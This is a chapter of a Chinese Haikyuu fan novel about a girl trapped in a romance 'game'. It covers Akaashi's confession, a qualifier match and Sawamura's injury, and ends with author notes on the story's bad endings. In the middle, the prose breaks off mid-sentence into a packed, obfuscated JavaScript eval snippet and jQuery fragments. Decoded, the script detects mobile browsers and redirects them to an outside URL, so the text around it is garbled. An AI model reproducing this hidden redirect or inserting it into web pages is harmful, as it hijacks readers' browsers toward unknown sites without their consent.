第195章190个排球


    【190个排球】


    这句告白来的措不及防。


    我和赤苇虽然没有见面，但一直有在线上交流，有时候是说训练的事，有时候是闲聊一些日常，可不管是哪一个话题其实都不藏暧昧，都是正正常常交流的，这期间我们连个电话都没打过。


    就这样完全不存在脸红心跳的相处模式，赤苇京治居然，还能和我告白。


    他向来擅长隐藏自己的情绪，也对自己的情感十分克制，在决定对我说这些话之前，肯定经过了很长一段时间的深思熟虑。


    可，首先明确一点，我是不可能答应他的。


    如果答应了，其他满好感度的角色集体失恋，他们都需要花时间来疗愈失恋带来的坏心情。


    再过不久就是地区赛，我怎么能因为这种事情影响其他人的比赛状态。


    ……不行，得想个办法，妥善处理。


    我立刻在脑袋里组织好语言，委婉地对他说：“抱歉赤苇，我可能……现在不能答应你，或者说，不能立刻给你一个答复，马上宫城就要进行第二轮预选，我不能分心，而且我也没想过恋爱这件事情，就算你突然这样对我说，我也……


    ——情感渣滓的基本素养，一个模棱两可的回答，既没有答应，也没有彻彻底底的拒绝。


    如果放在现实世界，我不想和他谈恋爱肯定直接就拒绝了。但现在不一样，本身就是我先决定要攻略他的，攻略完了又不能给人家一个好的结果……不如先稳住他的情绪，等之后系统清洗记忆，他也就会忘记曾经这样喜欢过一个人了。


    赤苇京治像是早就知道我会这么说，他脸上的表情未变，只是说：“嗯，我知道。


    我一怔，看着他没有说话。


    少年伸手理了理我耳边被风吹乱的鬓发，轻声说：“我对你表明心意，从来都不是逼迫你做出选择。


    “只是我想让你知道，不管是像现在这样面对面的和你相处，还是看着屏幕上你给我发的消息，我都会觉得很开心，只要你注意到我，我的心脏就会因为喜悦而不停跳动。


    赤苇京治拉着我的手，按在他的胸口：“它在清晰地告诉我，我喜欢你。


    “……


    我简直倒吸一口冷气。


    这样的告白不管听多少次，我的内心深处都在不受控制的悸动。


    我的老天奶，我在和他耍脑筋走套路，他却在捧着自己的真心给我看他对我的感情有多真。


    ……谁能拒绝赤苇京治啊？


    早在去年他告白的时候我就在心里挣扎过了，但最后还是做不到让他失望……不是，谁能拒绝赤苇京治啊？


    我捂住自


    己隐隐有些发烫的脸颊，别过头，努力让自己冷静下来。


    赤苇京治没有说话，只是安静地看着我，我的掌心贴着他的胸口，能够透过他外套下那件单薄的运动T恤感受到他清晰的心跳。


    我脑袋尝试恢复的理智一次又一次被他的心跳扰乱，最后我实在是觉得这样不行，深呼吸一口气，抬头正视着他的目光，回答道：“赤苇，如果在全国大赛结束之后，你对我的想法还没有变，我会慎重地考虑这件事情，然后给你一个答复。”


    “好。”


    “你和我告白的事情，我不希望他们知道。”


    “好。”


    “这个也好吗？”我忍不住说：“这就代表着你要一直隐藏自己的心意，今天的事情就像是没有发生过一样，对你很不公平啊。”


    赤苇京治笑了笑，摇摇头。


    “……随你。好了，我们回去吧，单独待着的时间太长，他们会觉得奇怪。”


    “好。”


    “为什么只说好？”


    “只要是你说的就都好。”


    我瞪他一眼，“你是笨蛋吗？”


    赤苇京治听到这句话，不由得笑得眯起眼睛，和我说：“总感觉这段对话，之前好像也和你说过，真奇怪。”


    “……”


    我一下子像是被什么击中，心里复杂的感情一拥而上，汇聚在胸口，孕育着令人窒息的风暴。


    我甚至在此刻都分不清楚我到底是什么心情。


    好像有怅然，好像有难过，好像有自责，又好像有愧疚。


    我不知道我在愧疚什么，又在难过什么。


    明明在游戏结束之后，所有的人都不会记得我，也不会记得这份感情，更不会记得我们之间有什么承诺。


    就像现在这样。


    他们什么都不记得。


    最后被所有人遗忘的只有我。


    “千夏？”


    赤苇京治突然靠近我，仔细地看着我的面容，迟疑地问道：“你在不开心吗？”


    我下意识避开他的打量，看向别处：“……没有啊。”


    他察觉到我有所隐瞒，没有继续追问，而是抬手按住了我的发顶，笑了一声：“可能是我看错了，没什么。”


    可嘴上说着没什么，赤苇京治还是带着我往前又走了一小段距离，带我去看了小花园里开的很好的月见草和千日红。


    即使是在深秋，它们的颜色也依旧艳丽，大片大片地盛开着，给清冷的月和衰败的秋增添了许多生命力。


    赤苇京治偷偷从花地的边缘扯了几朵下来，尝试着给我编手环，像他这样又正直又文明的人做这种偷偷摸摸的事情，偷感重到看得我发笑。


    因为没敢多拔，编织的材料有限，他勉强搭出来的


    手环很容易散开，往往还没有套在我的手腕上，就完全散了架。


    在第三次上手失败后，我实在是没忍住笑出声来。


    他原本有些懊恼自己是不是又把事情给搞砸了，却在见到我脸上的笑容时，一颗心安定下来，总算是松了口气。


    后来在我们路上遇见了从体育馆回去的翔阳和影山，我和赤苇的独处时间就此结束，四个人一起往宿舍走去，各自回房间休息。


    这次的小插曲像是投入湖面的小石子，在湖面上掀起了几圈涟漪，然后永远留在了湖底，成为了我和赤苇之间的秘密。


    只是这件事情对我产生的影响，要比我想象中的更深远。


    ……


    时间来到10月27日。


    今天是第二轮预选的第一天，乌野也终于也要迎来进军全国的第一场比赛。


    我们第一场的对手是条善寺高校。


    这所学校实力不错，也是一支种子队伍，他们的打球风格偏向于自由活泼，多变的球路和很是棘手，不过对面的队员多少有些想一出是一出，甚至他们觉得多人同时攻击这项技能很有趣，现学现卖，给我们贡献了一分。


    看他们打球确实很快乐，只是可惜，现在的乌野比起IH时期进步太多，在熟悉了对方的球风后，我们奋起直追，最后以2:0拿下了比赛的胜利。


    再下一场是和和久南。


    这支队伍球风稳健，并不一味猛冲进攻，他们在面对敌人时有着自己的节奏，其中，他们的主将中岛猛更是被教练评价为“在县内，球风最接近曾经的小巨人”的强敌。


    两边分数焦灼拉扯，迟迟不能拉开距离。


    就在这时，我方为了接下中岛猛这一球，田中和泽村都选择扑过去救，球虽然被成功救起，而且还直接弹回了对面的场地拿下一分，但泽村的头部被田中的手肘击中，这一下撞得不轻，给他后槽牙都撞掉一颗，还流了不少血。


    乌养系心当即就决定要把他换下场，及时去医生那里确认伤势。


    他想了想，还是看向我：“结城，泽村能交给你吗？”


    “能。”我立马应下：“我来处理。”


    乌养系心点点头，目送着我带着泽村大地离开场地，虽然很担心泽村的状况，但团队里倒下了一根主心骨，他得另做打算，做出决策。


    泽村大地原本还很留恋赛场，想和教练说自己没事的，结果一看是我接手了他伤势的处理，立刻把嘴巴闭上，不敢耽误，直接跟着我去了医务室。


    在运动比赛中受伤的情况不少，医务室的医生在比赛时间都是随时待命的。


    他看到泽村大地嘴边流的血，立刻给他做了检查。


    万幸的是，这


    次的撞击没有造成脑损伤，他意识清晰，神经也没有受损，只是口腔出血比较严重，痛感明显。除此之外并无大碍。


    以防万一，做完伤口处理之后，医生还是让他在医务室待会儿，等情况稳定了再返场。


    再叮嘱了几句，医生给我们拉上帘子，让泽村好好休息。


    泽村大地坐在病床的边缘，嘴里咬着医用棉花，看着我给乌养教练发消息汇报情况。


    “结城，其实我没什么大事。”他说：“你可以先回去，那边比较需要你。”


    “在战术安排上，乌养教练比我靠谱。”我看着乌养系心给我发信息，回了个表情包，把手机放回口袋，抬头看向他：“比起那边，你应该更需要我。”


    泽村大地不好意思地摸了摸鼻子，“给你添麻烦了。”


    “不许说这种话，没有什么麻烦的，你比谁都希望自己能好好地打完一场比赛。”我看了看周围，又去向医生要了袋冰袋，贴在他被撞红的那一块地方，让他自己捂着。


    泽村大地被冰的龇牙咧嘴，但放一会儿也就习惯了温度。


    他安静了一会儿，问我：“教练安排了谁上场？”


    “缘下。”


    “果然……”


    我看泽村大地还是一副忧心忡忡的样子，于是安慰了几句：“没事的，缘下对排球笨蛋们可有一手，有时候你不在场，都是他把大家治的服服帖帖的，有他在，大家能很快定下心来，你只需要好好休息，以一个良好的状态回到战场就好了。”


    泽村大地其实也明白这个道理，点点头，没再说什么。


    过了好一会儿，他重新抬头看向我，注意到我在发呆。


    盯了几秒，他忍不住说：“结城，你最近好像经常发呆，在想什么？”


    我沉默了半晌，身子往后靠在了椅背上，摇摇头：“没想什么。”


    “是不是遇到什么困难了？”他又说：“可以感觉到你最近的状态有点奇怪，有时候感觉很焦虑，有时候却又感觉平静到过分。”


    这是两种极致矛盾的状态，它


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175113|128752||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    并不属于一种平衡，情绪这么走极端，不会是最近压力过大，精神方面出现了点问题吧？


    一想到这种可能，泽村大地越发慎重起来，再次开口道：“你可以和我说说，也许我能帮到你。”


    我想了想，犹豫了一瞬，最后开始说：“……我有时候在想，看着你们进入全国，对我来说存在着什么样的意义。”


    “！”泽村大地背都挺直了。


    什么意思，结城她是在什么时候对他们失望了吗？居然开始考虑起这种问题了！


    “就是说，你们努力是因为追求，武田老师努力是因为责任，乌养教练努力是因


    为热爱，以及努力再现宿命的‘垃圾场决斗’……


    清水洁子和谷地仁花都是因为被少年们的热血和坚持所打动，都想为他们尽一份力。


    那我呢。


    以前满是干劲想要帮助乌野进入全国大赛，期待他们夺冠的那种心情到现在好像已经被疲惫消磨得只剩下一层薄膜，维系着我的行动。


    这种想法不是突然出现的。


    而是上次赤苇和我告白后，我意识到自己对这个世界的事和人投入了过多的感情，想要尽量做到情感抽离，减少和少年们除了排球之外过多的接触，然后在很多细碎的时间里产生了这种朦朦胧胧的疑问。


    ——我现在所作的事情真的有必要吗？


    乌野的少年们就算拿到全国冠军，对我来说又有什么意义呢，攻略游戏只记录好感百分百成就，又不会因为乌野夺冠而给我一个纪念支线。


    说起来，原本我的目的也就只有快速攻略。因为不想陷入感情纠纷里，一个副本接着一个副本转得飞快，总进度条满了我就能回家了。


    可我现在没有选择离开，依旧留在乌野，照这样的线路发展下去，也许还会有满好感的角色对我告白，我势必得直面面对最麻烦的情感纠纷，这哪是我玩游戏，根本就是游戏玩我。


    如果接下来的事情发展我找不到继续存在在这里的乐趣，那为什么我不现在就回家呢？


    最近我就是放弃了继续和角色们的相处，在思考这个问题。


    可能在月岛和菅原眼里我就是个随意撩拨之后又冷漠抛弃的多情渣女吧。


    我承认我是有点摆了，但我又能给他们什么好结局呢，总归最后都是要走的。


    那问题又来了，既然都是要走，为什么我不现在就走。


    泽村大地并不知道我的想法这么复杂，也不太会安慰人，只是试探地问道：“结城，是不是最近要做的事情太多，感觉很累了？


    “可能吧，也许有点。


    “……原来如此，看来菅原的担心是真的。


    “？我疑问地看过去：“什么担心？


    “他上个星期和我说，总觉得你样子怪怪的，虽然依旧是每天和我们待在一起，但总感觉游离于人群之外，不像之前那样融入。泽村大地挠挠头，问：“是我们有什么事情做得让你很失望吗？


    “……是我自己的问题，太过于纠结。


    “如果你是在纠结‘进入全国大赛对你来说什么意义’，我觉得，大概就是你能从中得到自豪、快乐和满足吧。


    他顿了顿，又说：“我们这个队伍在最初确实很弱小，刚开学那会儿，你每天看我们训练都很头痛吧？但是在看到队伍一点一点强大


    起来时，我能感觉到你是满足和快乐的，我们赢下比赛，你会比你自己赢下比赛还要更开心。”


    “全国大赛只是一个赛事，冠军也只是一个头衔。我们拼命努力了这么久，大家都不想在高中的最后一年留下遗憾，我们其实也无法从中获得什么实质性的奖励，有的也就只有满足和快乐了。”


    泽村大地放下手里的冰袋，认真地问我：“结城，和我们待在一起，你已经无法从中获取快乐了吗？”


    我皱起眉头：“也没有，我……”


    “和我们一起比赛，进军全国，已经不是你所期待的事情了吗？”


    我：“……”


    “如果是这样的话，你想停下，我会支持你的。”


    “大家也是，他们都很喜欢你，只会希望你能快乐。”


    “所以……如果你感到疲惫，厌倦，和我们一起已经成为了你的负担……”


    他忍着疼痛，抿住嘴角，逼着自己说出最后一句话：“你就离开吧。”


    我一愣，怔忪地看着他。


    等会儿？


    怎、怎么还有npc主动要求玩家退出游戏的啊？


    这游戏不会是茅场晶彦设计的吧？


    SAO之恋与排球笨蛋？


    这不对吧！


    ————————


    妹一直都是有话直说的直球选手，这回对赤苇和大地都有所隐瞒，也是纠结的很厉害了，但是她不会一直纠结的


    以及，大地给她的选择是个badending


    ［—世界线—BadEnding］


    ［无法融入的世界］


    ［—情感线—BadEnding］


    ［无人回忆的红蔷薇］


    [狗头]妹要回去了那就是全员be了